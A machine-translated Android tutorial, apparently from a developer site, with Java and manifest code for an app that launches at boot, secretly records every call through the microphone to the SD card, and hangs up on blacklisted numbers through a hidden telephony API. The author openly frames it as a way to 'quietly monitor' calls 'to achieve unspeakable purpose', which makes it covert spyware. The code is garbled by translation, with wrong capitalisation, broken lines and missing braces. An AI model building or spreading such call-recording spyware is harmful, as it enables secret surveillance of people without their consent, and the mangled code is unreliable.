This article describes the phone eavesdropping and interception applications implemented by Android. Share to everyone for your reference, specific as follows:
Today I learned about the communication-->aidl of the Interprocess service, and based on the broadcast mechanism I learned a few days ago, I made a simple phone tapping and recording application. Now the specific implementation methods attached below, for your reference, I hope you can provide some valuable advice.
Business Requirements Analysis:
1. When the mobile phone is in the boot state, the monitoring service will start, the caller to monitor the recording.
2. Set up the telephone blacklist, when the call is the blacklist phone, then hang up directly.
Implementation steps:
First we want to define a telephone listening service, the caller to listen to the recording and interception. The specific code is as follows:
Phonelistenerservice:
Package Cn.yj3g.L21_PhoneListener;
Import Java.lang.reflect.Method;
Import Com.android.internal.telephony.ITelephony;
Import Android.app.Service;
Import Android.content.Context;
Import android.content.Intent;
Import Android.media.MediaRecorder;
Import android.os.Environment;
Import Android.os.IBinder;
Import Android.telephony.PhoneStateListener;
Import Android.telephony.TelephonyManager;
Import Android.util.Log;
Import Android.view.LayoutInflater;
Import Android.view.View;
Import Android.widget.Toast;
public class Phonelistenerservice extends Service {private Mediarecorder recorder;
Private Boolean recording = false;
@Override public IBinder onbind (Intent Intent) {return null;
@Override public void OnCreate () {log.v ("TAG", "Service OnCreate ()");
Super.oncreate ();
Telephony service Management Telephonymanager Manager = (Telephonymanager) getsystemservice (Context.telephony_service);
Monitor phone status Manager.listen (Listener, phonestatelistener.listen_call_state);
} Private Phonestatelistener listener = new Phonestatelistener () {/* * @see Telephonymanager#call_state_idle value is 0
* * @see telephonymanager#call_state_ringing value is 1 * * @see Telephonymanager#call_state_offhook value is 2 */@Override public void oncallstatechanged (int state, String incomingnumber) {super.oncallstatechanged sta
TE, Incomingnumber);
Print phone status change information log.v ("TAG", "oncallstatechanged state=" + state);
Switch (state) {case Telephonymanager.call_state_idle://No calls or hangs Stoprecord ();
Break
Case telephonymanager.call_state_ringing://Bell Stop (Incomingnumber);
Break
Case Telephonymanager.call_state_offhook://Pick up the phone recordcalling ();
Break
Default:break;
}
}
};
Stop recording private void Stoprecord () {log.v ("TAG", "Stoprecord");
if (recording) {recorder.stop ();
Recorder.release ();
Recording=false; }
}
Telephone intercept public void stop (String s) {try {if (S.equals ("a")) {Toast.maketext (this, "intercept success", 0). sh
ow (); LOG.E ("TAG", "This call for blacklist number, has been intercepted!")
"); Call Itelephony.endcall () End Call Method method = Class.forName ("Android.os.ServiceManager"). GetMethod ("ge
TService ", String.class);
IBinder binder = (ibinder) method.invoke (null, new object[] {telephony_service});
Itelephony telephony = ITelephony.Stub.asInterface (binder);
Telephony.endcall ();
else Toast.maketext (this, "no interception required", 0). Show ();
Recording=false;
catch (Exception e) {e.printstacktrace ();
}//recording private void Recordcalling () {try {log.v ("TAG", "recordcalling");
Recorder = new Mediarecorder (); Recorder.setaudiosource (MediaRecorder.AudioSource.MIC); Read the microphone sound Recorder.setoutputformat (MediaRecorder.OutputFormat.THREE_GPP);//output format. 3gp Recorder.setaudioencoder (Mediarecorder. AUDIOENCODER.AMR_NB)//Encoding mode Recorder.setoutputfile (Environment.getexternalstoragedirectory (). GetAbsolute Path () + "/" + system.currenttimemillis () + ". 3gp");//storage location is placed in the SDcard directory Recorder.prep
Are ();
Recorder.start ();
Recording = true;
catch (Exception e) {e.printstacktrace ();
}
}
}
Android does not have an external public end call API, and if you need to end the call, you must use Aidl to communicate with the Telephony Management Service and invoke the API implementation in the service to end the call as follows:
1. Copy the following files from the Android source code to the project:
Com/android/internal/telephony/itelephony.aidl
Android/telephony/neighboringcellinfo.aidl
As shown in the following figure. The development tool will automatically generate Itelephony.java in the Gen directory
We know that the service can not be started on its own, need to manually start, so we need a broadcast, when the phone just turned on, we will send a broadcast, start listening to the phone service. Here's a receiver I wrote to send a broadcast.
Bootcompletereceiver:
Package Cn.yj3g.L21_PhoneListener;
Import Android.content.BroadcastReceiver;
Import Android.content.Context;
Import android.content.Intent;
Import Android.util.Log;
The public class Bootcompletereceiver extends Broadcastreceiver {
@Override
the public void onreceive Intent Intent) {
//Use broadcast to open the monitor this service
log.v ("TAG", "Boot up!");
Intent i = new Intent (context, phonelistenerservice.class);
I.setflags (Intent.flag_activity_new_task)//Because the previous run could not implement the function, the teacher's modification plus a task flag
context.startservice (i);
}
Here's how to configure the relevant permissions in Androidmanifest.xml: The specific code is as follows:
Androidmanifest.xml:
<?xml version= "1.0" encoding= "Utf-8"?> <manifest xmlns:android= "http://schemas.android.com/apk/res/" Android "package=" Cn.yj3g.L21_PhoneListener "android:versioncode=" 1 "android:versionname=" 1.0 "> <uses-sdk
android:minsdkversion= "8"/> <application android:icon= "@drawable/icon" android:label= "@string/app_name" > <service android:name= ". Phonelistenerservice "> <intent-filter> <action android:name=" Cn.yj3g.L21_PhoneListener.PhoneListe Nerservice "></action> </intent-filter> </service> <receiver android:name=". Bootcompletereceiver "> <intent-filter> <action android:name=" Android.intent.action.BOOT_COMPLETED "/> </intent-filter> </receiver> </application> <!--read phone status permissions--> <uses-per Mission android:name= "Android.permission.READ_PHONE_STATE"/> <!--recording permissions--> <uses-permission android:name = "Android.permissioN.record_audio "/> <!--permissions to write data to SDcard--> <uses-permission android:name=" android.permission.WRITE_ External_storage "/> <!--boot broadcast permissions--> <uses-permission android:name=" android.permission.RECEIVE_BOOT_ COMPLETED "/> <!--the permissions required to hang up the phone--> <uses-permission android:name=" Android.permission.CALL_PHONE "/>
;/manifest>
The application of such a listening phone is done. When the mobile phone on which this application is installed, the caller is in the listening state, so that it can quietly monitor the phone calls for recording or interception, in order to achieve unspeakable purpose.
PS: About Android Manifest features and permissions set details can refer to the site online tools:
Android manifest Features and Permissions description Encyclopedia:
Http://tools.jb51.net/table/AndroidManifest
More interested readers of Android-related content can view the site: Android Development Primer and Advanced tutorials, the Android View View tips Summary, the activity tips summary of Android programming, Android Operation SQLite Database skills Summary, "Android operation JSON format Data Skills summary", "Android Database Operation skills Summary", "Android File Operation skills Summary", "Android programming development of SD card operation method Summary", " Android Resource Operation tips Summary and the "Android Controls usage Summary"
I hope this article will help you with the Android program.